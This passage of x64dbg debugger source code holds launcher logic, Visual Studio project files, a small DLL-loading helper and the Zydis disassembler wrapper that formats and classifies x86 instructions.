szPath); PathAppend(szPath, argv[1]); } else if(!ResolveShortcut(nullptr, argv[1], szPath, _countof(szPath))) //attempt to resolve the shortcut path _tcscpy_s(szPath, argv[1]); //fall back to the origin full path std::wstring cmdLine, escaped; cmdLine.push_back(L'\"'); cmdLine += szPath; cmdLine.push_back(L'\"'); if(argc > 2) //forward any commandline parameters { cmdLine += L" \""; for(auto i = 2; i < argc; i++) { if(i > 2) cmdLine.push_back(L' '); escaped.clear(); auto len = wcslen(argv[i]); for(size_t j = 0; j < len; j++) { if(argv[i][j] == L'\"') escaped.push_back(L'\"'); escaped.push_back(argv[i][j]); } cmdLine += escaped; } cmdLine += L"\""; } else //empty command line { cmdLine += L" \"\""; } //append current working directory TCHAR szCurDir[MAX_PATH] = TEXT(""); GetCurrentDirectory(_countof(szCurDir), szCurDir); cmdLine += L" \""; cmdLine += szCurDir; cmdLine += L"\""; if(canDisableRedirect) rWow.DisableRedirect(); //MessageBoxW(0, cmdLine.c_str(), L"x96dbg", MB_SYSTEMMODAL); //MessageBoxW(0, GetCommandLineW(), L"GetCommandLineW", MB_SYSTEMMODAL); //MessageBoxW(0, szCurDir, L"GetCurrentDirectory", MB_SYSTEMMODAL); switch(GetPeArch(szPath)) { case PeArch::Native86: case PeArch::Dotnet86: case PeArch::DotnetAnyCpuPrefer32: load32(cmdLine.c_str()); break; case PeArch::Native64: case PeArch::Dotnet64: load64(cmdLine.c_str()); break; case PeArch::DotnetAnyCpu: if(isWoW64()) load64(cmdLine.c_str()); else load32(cmdLine.c_str()); break; case PeArch::Invalid: if(FileExists(szPath)) MessageBox(nullptr, argv[1], LoadResString(IDS_INVDPE), MB_ICONERROR); else MessageBox(nullptr, argv[1], LoadResString(IDS_FILEERR), MB_ICONERROR); break; default: __debugbreak(); } } LocalFree(argv); return 0; }
Visual C++ Project
x64dbg-development/src/launcher/x64dbg_launcher.vcxproj
<?xml version="1.0" encoding="utf-8"?> <Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <ItemGroup Label="ProjectConfigurations"> <ProjectConfiguration Include="Debug|Win32"> <Configuration>Debug</Configuration> <Platform>Win32</Platform> </ProjectConfiguration> <ProjectConfiguration Include="Release|Win32"> <Configuration>Release</Configuration> <Platform>Win32</Platform> </ProjectConfiguration> </ItemGroup> <ItemGroup> <ClCompile Include="x64dbg_launcher.cpp" /> </ItemGroup> <ItemGroup> <ResourceCompile Include="..\exe\resource.rc" /> <ResourceCompile Include="..\exe\icon.rc" /> <ResourceCompile Include="..\exe\Strings.rc" /> </ItemGroup> <ItemGroup> <ClInclude Include="..\exe\resource.h" /> <ClInclude Include="..\exe\icon.h" /> <ClInclude Include="..\exe\strings.h" /> </ItemGroup> <ItemGroup> <Xml Include="..\exe\manifest.xml" /> </ItemGroup> <PropertyGroup Label="Globals"> <ProjectGuid>{AC3F927A-4079-4C97-B8BE-8D04546802E7}</ProjectGuid> <Keyword>Win32Proj</Keyword> </PropertyGroup> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> <ConfigurationType>Application</ConfigurationType> <UseDebugLibraries>false</UseDebugLibraries> <PlatformToolset>v120_xp</PlatformToolset> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> <ConfigurationType>Application</ConfigurationType> <UseDebugLibraries>false</UseDebugLibraries> <PlatformToolset>v120_xp</PlatformToolset> </PropertyGroup> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> <ImportGroup Label="ExtensionSettings"> </ImportGroup> <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> </ImportGroup> <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets"> <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> </ImportGroup> <PropertyGroup Label="UserMacros" /> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <LinkIncremental>false</LinkIncremental> <OutDir>$(ProjectDir)..\..\bin\</OutDir> <IntDir>$(Platform)\$(Configuration)\</IntDir> <TargetName>x96dbg</TargetName> <GenerateManifest>false</GenerateManifest> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <LinkIncremental>false</LinkIncremental> <OutDir>$(ProjectDir)..\..\bin\</OutDir> <IntDir>$(Platform)\$(Configuration)\</IntDir> <TargetName>x96dbg</TargetName> <GenerateManifest>false</GenerateManifest> </PropertyGroup> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <ClCompile> <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions> <RuntimeLibrary>MultiThreaded</RuntimeLibrary> <WarningLevel>Level3</WarningLevel> <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> </ClCompile> <Link> <TargetMachine>MachineX86</TargetMachine> <GenerateDebugInformation>true</GenerateDebugInformation> <SubSystem>Windows</SubSystem> <EnableCOMDATFolding>true</EnableCOMDATFolding> <OptimizeReferences>true</OptimizeReferences> <AdditionalDependencies>shlwapi.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies> <ProgramDatabaseFile>$(TargetDir)$(TargetName).pdb</ProgramDatabaseFile> <AdditionalManifestDependencies> </AdditionalManifestDependencies> <LargeAddressAware>true</LargeAddressAware> </Link> </ItemDefinitionGroup> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <ClCompile> <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions> <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> <WarningLevel>Level3</WarningLevel> <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> </ClCompile> <Link> <TargetMachine>MachineX86</TargetMachine> <GenerateDebugInformation>true</GenerateDebugInformation> <SubSystem>Windows</SubSystem> <EnableCOMDATFolding>true</EnableCOMDATFolding> <OptimizeReferences>true</OptimizeReferences> <AdditionalDependencies>shlwapi.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies> <ProgramDatabaseFile>$(TargetDir)$(TargetName).pdb</ProgramDatabaseFile> <AdditionalManifestDependencies> </AdditionalManifestDependencies> </Link> </ItemDefinitionGroup> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> <ImportGroup Label="ExtensionTargets"> </ImportGroup> </Project>
x64dbg-development/src/launcher/x64dbg_launcher.vcxproj.filters
<?xml version="1.0" encoding="utf-8"?> <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <ItemGroup> <Filter Include="Source Files"> <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier> <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions> </Filter> <Filter Include="Header Files"> <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier> <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions> </Filter> <Filter Include="Resource Files"> <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier> <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav</Extensions> </Filter> </ItemGroup> <ItemGroup> <ResourceCompile Include="..\exe\resource.rc"> <Filter>Resource Files</Filter> </ResourceCompile> <ResourceCompile Include="..\exe\icon.rc"> <Filter>Resource Files</Filter> </ResourceCompile> <ResourceCompile Include="..\exe\Strings.rc"> <Filter>Resource Files</Filter> </ResourceCompile> </ItemGroup> <ItemGroup> <ClInclude Include="..\exe\resource.h"> <Filter>Header Files</Filter> </ClInclude> <ClInclude Include="..\exe\icon.h"> <Filter>Header Files</Filter> </ClInclude> <ClInclude Include="..\exe\strings.h"> <Filter>Header Files</Filter> </ClInclude> </ItemGroup> <ItemGroup> <ClCompile Include="x64dbg_launcher.cpp"> <Filter>Source Files</Filter> </ClCompile> </ItemGroup> <ItemGroup> <Xml Include="..\exe\manifest.xml" /> </ItemGroup> </Project>
C++
x64dbg-development/src/loaddll/loaddll.cpp
#include <windows.h> wchar_t szLibraryPath[512]; int main() { wchar_t szName[256]; wsprintfW(szName, L"Local\\szLibraryName%X", (unsigned int)GetCurrentProcessId()); HANDLE hMapFile = OpenFileMappingW(FILE_MAP_READ, false, szName); if(hMapFile) { const wchar_t* szLibraryPathMapping = (const wchar_t*)MapViewOfFile(hMapFile, FILE_MAP_READ, 0, 0, sizeof(szLibraryPath)); if(szLibraryPathMapping) { lstrcpyW(szLibraryPath, szLibraryPathMapping); UnmapViewOfFile(szLibraryPathMapping); } CloseHandle(hMapFile); } if(szLibraryPath[0]) return (LoadLibraryW(szLibraryPath) != NULL); return 0; }
Visual C++ Project
x64dbg-development/src/loaddll/loaddll.vcxproj
<?xml version="1.0" encoding="utf-8"?> <Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <ItemGroup Label="ProjectConfigurations"> <ProjectConfiguration Include="Debug|Win32"> <Configuration>Debug</Configuration> <Platform>Win32</Platform> </ProjectConfiguration> <ProjectConfiguration Include="Debug|x64"> <Configuration>Debug</Configuration> <Platform>x64</Platform> </ProjectConfiguration> <ProjectConfiguration Include="Release|Win32"> <Configuration>Release</Configuration> <Platform>Win32</Platform> </ProjectConfiguration> <ProjectConfiguration Include="Release|x64"> <Configuration>Release</Configuration> <Platform>x64</Platform> </ProjectConfiguration> </ItemGroup> <ItemGroup> <ClCompile Include="loaddll.cpp" /> </ItemGroup> <PropertyGroup Label="Globals"> <ProjectGuid>{21AD9735-967B-41F7-8329-DB88D03743ED}</ProjectGuid> <Keyword>Win32Proj</Keyword> </PropertyGroup> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> <ConfigurationType>Application</ConfigurationType> <UseDebugLibraries>false</UseDebugLibraries> <PlatformToolset>v120_xp</PlatformToolset> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> <ConfigurationType>Application</ConfigurationType> <UseDebugLibraries>false</UseDebugLibraries> <PlatformToolset>v120_xp</PlatformToolset> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> <ConfigurationType>Application</ConfigurationType> <UseDebugLibraries>false</UseDebugLibraries> <PlatformToolset>v120_xp</PlatformToolset> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> <ConfigurationType>Application</ConfigurationType> <UseDebugLibraries>false</UseDebugLibraries> <PlatformToolset>v120_xp</PlatformToolset> </PropertyGroup> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> <ImportGroup Label="ExtensionSettings"> </ImportGroup> <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> </ImportGroup> <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets"> <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> </ImportGroup> <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> </ImportGroup> <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> </ImportGroup> <PropertyGroup Label="UserMacros" /> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <LinkIncremental>false</LinkIncremental> <OutDir>$(ProjectDir)..\..\bin\x32\</OutDir> <GenerateManifest>false</GenerateManifest> <IntDir>$(Platform)\$(Configuration)\</IntDir> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <LinkIncremental>false</LinkIncremental> <OutDir>$(ProjectDir)..\..\bin\x32d\</OutDir> <GenerateManifest>false</GenerateManifest> <IntDir>$(Platform)\$(Configuration)\</IntDir> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> <LinkIncremental>false</LinkIncremental> <OutDir>$(ProjectDir)..\..\bin\x64\</OutDir> <GenerateManifest>false</GenerateManifest> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> <LinkIncremental>false</LinkIncremental> <OutDir>$(ProjectDir)..\..\bin\x64d\</OutDir> <GenerateManifest>false</GenerateManifest> </PropertyGroup> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <ClCompile> <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions> <RuntimeLibrary>MultiThreaded</RuntimeLibrary> <WarningLevel>Level3</WarningLevel> <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> </ClCompile> <Link> <TargetMachine>MachineX86</TargetMachine> <GenerateDebugInformation>true</GenerateDebugInformation> <SubSystem>Console</SubSystem> <EnableCOMDATFolding>true</EnableCOMDATFolding> <OptimizeReferences>true</OptimizeReferences> <AdditionalManifestDependencies> </AdditionalManifestDependencies> <LargeAddressAware>true</LargeAddressAware> </Link> </ItemDefinitionGroup> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <ClCompile> <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions> <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary> <WarningLevel>Level3</WarningLevel> <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> </ClCompile> <Link> <TargetMachine>MachineX86</TargetMachine> <GenerateDebugInformation>true</GenerateDebugInformation> <SubSystem>Console</SubSystem> <EnableCOMDATFolding>true</EnableCOMDATFolding> <OptimizeReferences>true</OptimizeReferences> <AdditionalManifestDependencies> </AdditionalManifestDependencies> </Link> </ItemDefinitionGroup> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> <ClCompile> <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions> <RuntimeLibrary>MultiThreaded</RuntimeLibrary> <WarningLevel>Level3</WarningLevel> <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> </ClCompile> <Link> <GenerateDebugInformation>true</GenerateDebugInformation> <SubSystem>Console</SubSystem> <EnableCOMDATFolding>true</EnableCOMDATFolding> <OptimizeReferences>true</OptimizeReferences> <AdditionalManifestDependencies> </AdditionalManifestDependencies> </Link> </ItemDefinitionGroup> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> <ClCompile> <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions> <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary> <WarningLevel>Level3</WarningLevel> <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> </ClCompile> <Link> <GenerateDebugInformation>true</GenerateDebugInformation> <SubSystem>Console</SubSystem> <EnableCOMDATFolding>true</EnableCOMDATFolding> <OptimizeReferences>true</OptimizeReferences> <AdditionalManifestDependencies> </AdditionalManifestDependencies> </Link> </ItemDefinitionGroup> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> <ImportGroup Label="ExtensionTargets"> </ImportGroup> </Project>
x64dbg-development/src/loaddll/loaddll.vcxproj.filters
<?xml version="1.0" encoding="utf-8"?> <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <ItemGroup> <Filter Include="Source Files"> <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier> <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions> </Filter> <Filter Include="Header Files"> <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier> <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions> </Filter> <Filter Include="Resource Files"> <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier> <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav</Extensions> </Filter> </ItemGroup> <ItemGroup> <ClCompile Include="loaddll.cpp"> <Filter>Source Files</Filter> </ClCompile> </ItemGroup> </Project>
C/C++
x64dbg-development/src/zydis_wrapper/ZydisExportConfig.h
#pragma once #ifdef ZYDIS_STATIC_DEFINE # define ZYDIS_EXPORT # define ZYDIS_NO_EXPORT #else # ifndef ZYDIS_EXPORT # ifdef Zydis_EXPORTS /* We are building this library */ # define ZYDIS_EXPORT # else /* We are using this library */ # define ZYDIS_EXPORT # endif # endif # ifndef ZYDIS_NO_EXPORT # define ZYDIS_NO_EXPORT # endif #endif #ifndef ZYDIS_DEPRECATED # define ZYDIS_DEPRECATED __attribute__ ((__deprecated__)) #endif #ifndef ZYDIS_DEPRECATED_EXPORT # define ZYDIS_DEPRECATED_EXPORT ZYDIS_EXPORT ZYDIS_DEPRECATED #endif #ifndef ZYDIS_DEPRECATED_NO_EXPORT # define ZYDIS_DEPRECATED_NO_EXPORT ZYDIS_NO_EXPORT ZYDIS_DEPRECATED #endif #define DEFINE_NO_DEPRECATED 0 #if DEFINE_NO_DEPRECATED # define ZYDIS_NO_DEPRECATED #endif
C++
x64dbg-development/src/zydis_wrapper/zydis_wrapper.cpp
#include "zydis_wrapper.h" #include <Zydis/Formatter.h> #include <windows.h> bool Zydis::mInitialized = false; ZydisDecoder Zydis::mDecoder; ZydisFormatter Zydis::mFormatter; static const char* ZydisMnemonicGetStringHook(ZydisMnemonic mnemonic) { switch(mnemonic) { case ZYDIS_MNEMONIC_JZ: return "je"; case ZYDIS_MNEMONIC_JNZ: return "jne"; case ZYDIS_MNEMONIC_JNBE: return "ja"; case ZYDIS_MNEMONIC_JNB: return "jae"; case ZYDIS_MNEMONIC_JNLE: return "jg"; case ZYDIS_MNEMONIC_JNL: return "jge"; case ZYDIS_MNEMONIC_CMOVNBE: return "cmova"; case ZYDIS_MNEMONIC_CMOVNB: return "cmovae"; case ZYDIS_MNEMONIC_CMOVZ: return "cmove"; case ZYDIS_MNEMONIC_CMOVNLE: return "cmovg"; case ZYDIS_MNEMONIC_CMOVNL: return "cmovge"; case ZYDIS_MNEMONIC_CMOVNZ: return "cmovne"; case ZYDIS_MNEMONIC_SETNBE: return "seta"; case ZYDIS_MNEMONIC_SETNB: return "setae"; case ZYDIS_MNEMONIC_SETZ: return "sete"; case ZYDIS_MNEMONIC_SETNLE: return "setg"; case ZYDIS_MNEMONIC_SETNL: return "setge"; case ZYDIS_MNEMONIC_SETNZ: return "setne"; default: return ZydisMnemonicGetString(mnemonic); } } static ZydisStatus ZydisPrintMnemonicIntelHook(const ZydisFormatter* formatter, ZydisString* string, const ZydisDecodedInstruction* instruction, void* userData) { ZYDIS_UNUSED_PARAMETER(userData); if(!formatter || !instruction) { return ZYDIS_STATUS_INVALID_PARAMETER; } const char* mnemonic = ZydisMnemonicGetStringHook(instruction->mnemonic); if(!mnemonic) { return ZydisStringAppendExC(string, "invalid", formatter->letterCase); } ZYDIS_CHECK(ZydisStringAppendExC(string, mnemonic, formatter->letterCase)); if(instruction->attributes & ZYDIS_ATTRIB_IS_FAR_BRANCH) { return ZydisStringAppendExC(string, " far", formatter->letterCase); } return ZYDIS_STATUS_SUCCESS; } void Zydis::GlobalInitialize() { if(!mInitialized) { mInitialized = true; #ifdef _WIN64 ZydisDecoderInit(&mDecoder, ZYDIS_MACHINE_MODE_LONG_64, ZYDIS_ADDRESS_WIDTH_64); #else //x86 ZydisDecoderInit(&mDecoder, ZYDIS_MACHINE_MODE_LEGACY_32, ZYDIS_ADDRESS_WIDTH_32); #endif //_WIN64 ZydisFormatterInit(&mFormatter, ZYDIS_FORMATTER_STYLE_INTEL); ZydisFormatterSetProperty(&mFormatter, ZYDIS_FORMATTER_PROP_HEX_PADDING_ADDR, 0); ZydisFormatterSetProperty(&mFormatter, ZYDIS_FORMATTER_PROP_HEX_PADDING_DISP, 0); ZydisFormatterSetProperty(&mFormatter, ZYDIS_FORMATTER_PROP_HEX_PADDING_IMM, 0); ZydisFormatterSetProperty(&mFormatter, ZYDIS_FORMATTER_PROP_FORCE_MEMSIZE, ZYDIS_TRUE); ZydisFormatterSetProperty(&mFormatter, ZYDIS_FORMATTER_PROP_FORCE_MEMSEG, ZYDIS_TRUE); ZydisFormatterFunc fmtFunc = &ZydisPrintMnemonicIntelHook; ZydisFormatterSetHook(&mFormatter, ZYDIS_FORMATTER_HOOK_PRINT_MNEMONIC, (const void**)&fmtFunc); } } void Zydis::GlobalFinalize() { mInitialized = false; } Zydis::Zydis() : mSuccess(false), mVisibleOpCount(0) { GlobalInitialize(); memset(&mInstr, 0, sizeof(mInstr)); } Zydis::~Zydis() { } bool Zydis::Disassemble(size_t addr, const unsigned char data[MAX_DISASM_BUFFER]) { return Disassemble(addr, data, MAX_DISASM_BUFFER); } bool Zydis::Disassemble(size_t addr, const unsigned char* data, int size) { if(!data || !size) return false; mSuccess = false; // Decode instruction. if(!ZYDIS_SUCCESS(ZydisDecoderDecodeBuffer(&mDecoder, data, size, addr, &mInstr))) return false; // Format it to human readable representation. if(!ZYDIS_SUCCESS(ZydisFormatterFormatInstruction( &mFormatter, const_cast<ZydisDecodedInstruction*>(&mInstr), mInstrText, sizeof(mInstrText)))) return false; // Count explicit operands. mVisibleOpCount = 0; for(size_t i = 0; i < mInstr.operandCount; ++i) { auto & op = mInstr.operands[i]; // Rebase IMM if relative and DISP if absolute (codebase expects it this way). // Once, at some point in time, the disassembler is abstracted away more and more, // we should probably refrain from hacking the Zydis data structure and perform // such transformations in the getters instead. if(op.type == ZYDIS_OPERAND_TYPE_IMMEDIATE && op.imm.isRelative) { ZydisCalcAbsoluteAddress(&mInstr, &op, &op.imm.value.u); op.imm.isRelative = false; //hack to prevent OperandText from returning bogus values } else if(op.type == ZYDIS_OPERAND_TYPE_MEMORY && op.mem.base == ZYDIS_REGISTER_NONE && op.mem.index == ZYDIS_REGISTER_NONE && op.mem.disp.value != 0) { //TODO: what is this used for? ZydisCalcAbsoluteAddress(&mInstr, &op, (uint64_t*)&op.mem.disp.value); } if(op.visibility == ZYDIS_OPERAND_VISIBILITY_HIDDEN) break; ++mVisibleOpCount; } mSuccess = true; return true; } bool Zydis::DisassembleSafe(size_t addr, const unsigned char* data, int size) { unsigned char dataSafe[MAX_DISASM_BUFFER]; memset(dataSafe, 0, sizeof(dataSafe)); memcpy(dataSafe, data, min(MAX_DISASM_BUFFER, size_t(size))); return Disassemble(addr, dataSafe); } const ZydisDecodedInstruction* Zydis::GetInstr() const { if(!Success()) return nullptr; return &mInstr; } bool Zydis::Success() const { return mSuccess; } const char* Zydis::RegName(ZydisRegister reg) const { switch(reg) { case ZYDIS_REGISTER_ST0: return "st(0)"; case ZYDIS_REGISTER_ST1: return "st(1)"; case ZYDIS_REGISTER_ST2: return "st(2)"; case ZYDIS_REGISTER_ST3: return "st(3)"; case ZYDIS_REGISTER_ST4: return "st(4)"; case ZYDIS_REGISTER_ST5: return "st(5)"; case ZYDIS_REGISTER_ST6: return "st(6)"; case ZYDIS_REGISTER_ST7: return "st(7)"; default: return ZydisRegisterGetString(reg); } } std::string Zydis::OperandText(int opindex) const { if(!Success() || opindex >= mInstr.operandCount) return ""; auto & op = mInstr.operands[opindex]; ZydisFormatterHookType type; switch(op.type) { case ZYDIS_OPERAND_TYPE_IMMEDIATE: type = ZYDIS_FORMATTER_HOOK_FORMAT_OPERAND_IMM; break; case ZYDIS_OPERAND_TYPE_MEMORY: type = ZYDIS_FORMATTER_HOOK_FORMAT_OPERAND_MEM; break; case ZYDIS_OPERAND_TYPE_REGISTER: type = ZYDIS_FORMATTER_HOOK_FORMAT_OPERAND_REG; break; case ZYDIS_OPERAND_TYPE_POINTER: type = ZYDIS_FORMATTER_HOOK_FORMAT_OPERAND_PTR; break; default: return ""; } //Get the operand format function. ZydisFormatterOperandFunc fmtFunc = nullptr; if(!ZYDIS_SUCCESS(ZydisFormatterSetHook(&mFormatter, type, (const void**)&fmtFunc))) return ""; //Format the operand. char buf[200] = ""; ZydisString zyStr; zyStr.buffer = buf; zyStr.length = 0; zyStr.capacity = sizeof(buf) - 1; fmtFunc( &mFormatter, &zyStr, &mInstr, &op, nullptr ); //Extract only the part inside the [] std::string result; if(op.type == ZYDIS_OPERAND_TYPE_MEMORY) { auto openBracket = strchr(buf, '['); if(openBracket) { result = openBracket + 1; result.pop_back(); } else result = buf; } else result = buf; return std::move(result); } int Zydis::Size() const { if(!Success()) return 1; return GetInstr()->length; } size_t Zydis::Address() const { if(!Success()) return 0; return size_t(GetInstr()->instrAddress); } bool Zydis::IsFilling() const { if(!Success()) return false; switch(mInstr.mnemonic) { case ZYDIS_MNEMONIC_NOP: case ZYDIS_MNEMONIC_INT3: return true; default: return false; } } bool Zydis::IsBranchType(std::underlying_type_t<BranchType> bt) const { if(!Success()) return false; std::underlying_type_t<BranchType> ref = 0; const auto & op0 = mInstr.operands[0]; switch(mInstr.mnemonic) { case ZYDIS_MNEMONIC_RET: ref = (mInstr.attributes & ZYDIS_ATTRIB_IS_FAR_BRANCH) ? BTFarRet : BTRet; break; case ZYDIS_MNEMONIC_CALL: ref = (mInstr.attributes & ZYDIS_ATTRIB_IS_FAR_BRANCH) ? BTFarCall : BTCall; break; case ZYDIS_MNEMONIC_JMP: ref = (mInstr.attributes & ZYDIS_ATTRIB_IS_FAR_BRANCH) ? BTFarJmp : BTUncondJmp; break; case ZYDIS_MNEMONIC_JB: case ZYDIS_MNEMONIC_JBE: case ZYDIS_MNEMONIC_JCXZ: case ZYDIS_MNEMONIC_JECXZ: case ZYDIS_MNEMONIC_JKNZD: case ZYDIS_MNEMONIC_JKZD: case ZYDIS_MNEMONIC_JL: case ZYDIS_MNEMONIC_JLE: case ZYDIS_MNEMONIC_JNB: case ZYDIS_MNEMONIC_JNBE: case ZYDIS_MNEMONIC_JNL: case ZYDIS_MNEMONIC_JNLE: case ZYDIS_MNEMONIC_JNO: case ZYDIS_MNEMONIC_JNP: case ZYDIS_MNEMONIC_JNS: case ZYDIS_MNEMONIC_JNZ: case ZYDIS_MNEMONIC_JO: case ZYDIS_MNEMONIC_JP: case ZYDIS_MNEMONIC_JRCXZ: case ZYDIS_MNEMONIC_JS: case ZYDIS_MNEMONIC_JZ: ref = BTCondJmp; break; case ZYDIS_MNEMONIC_SYSCALL: case ZYDIS_MNEMONIC_SYSENTER: ref = BTSyscall; break; case ZYDIS_MNEMONIC_SYSRET: case ZYDIS_MNEMONIC_SYSEXIT: ref = BTSysret; break; case ZYDIS_MNEMONIC_INT: ref = BTInt; break; case ZYDIS_MNEMONIC_INT3: ref = BTInt3; break; case ZYDIS_MNEMONIC_INT1: ref = BTInt1; break; case ZYDIS_MNEMONIC_IRET: case ZYDIS_MNEMONIC_IRETD: case ZYDIS_MNEMONIC_IRETQ: ref = BTIret; break; case ZYDIS_MNEMONIC_XBEGIN: ref = BTXbegin; break; case ZYDIS_MNEMONIC_XABORT: ref = BTXabort; break; case ZYDIS_MNEMONIC_RSM: ref = BTRsm; break; case ZYDIS_MNEMONIC_LOOP: case ZYDIS_MNEMONIC_LOOPE: case ZYDIS_MNEMONIC_LOOPNE: ref = BTLoop; default: ; } return (bt & ref) != 0; } ZydisMnemonic Zydis::GetId() const { if(!Success()) return ZYDIS_MNEMONIC_INVALID; return mInstr.mnemonic; } std::string Zydis::InstructionText(bool replaceRipRelative) const { if(!Success()) return "???"; std::string result = mInstrText; #ifdef _WIN64 // TODO (ath): We can do that a whole lot sexier using formatter hooks if(replaceRipRelative) { //replace [rip +/- 0x?] with the actual address bool ripPlus = true; auto found = result.find("[rip + "); if(found == std::string::npos) { ripPlus = false; found = result.find("[rip - "); } if(found != std::string::npos) { auto wVA = Address(); auto end = 